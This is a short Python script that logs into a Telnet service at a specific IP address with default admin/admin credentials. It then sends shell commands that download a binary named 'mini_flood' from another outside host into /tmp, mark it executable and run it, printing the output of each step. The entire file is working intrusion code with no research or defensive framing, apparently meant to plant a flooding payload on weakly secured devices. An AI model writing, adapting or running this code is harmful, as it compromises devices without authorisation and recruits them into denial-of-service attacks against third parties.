
import socket, time

ip, port, user, passwd = "104.248.58.87", 23, "admin", "admin"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((ip, port))
time.sleep(1)
data = s.recv(4096).decode(errors="ignore")
print("INIT:", repr(data[:100]))
if "login" in data.lower():
    s.send((user+"\r\n").encode())
    time.sleep(1)
    data = s.recv(4096).decode(errors="ignore")
if "password" in data.lower():
    s.send((passwd+"\r\n").encode())
    time.sleep(2)
    data = s.recv(4096).decode(errors="ignore")
    print("AUTH:", repr(data[:200]))

# Deploy
s.send(b"wget -q -O /tmp/f http://167.148.195.3/mini_flood\r\n")
time.sleep(12)
result = b""
try:
    while True:
        chunk = s.recv(65536)
        if not chunk: break
        result += chunk
except: pass
print("WGET:", result.decode(errors="ignore")[:200])

# Check file
s.send(b"ls -la /tmp/f\r\n")
time.sleep(3)
result = b""
try:
    while True:
        chunk = s.recv(65536)
        if not chunk: break
        result += chunk
except: pass
print("LS:", result.decode(errors="ignore")[:200])

# Make executable and test exec
s.send(b"chmod +x /tmp/f\r\n")
time.sleep(1)
s.send(b"/tmp/f\r\n")
time.sleep(3)
result = b""
try:
    while True:
        chunk = s.recv(65536)
        if not chunk: break
        result += chunk
except: pass
print("EXEC:", result.decode(errors="ignore")[:300])

s.close()
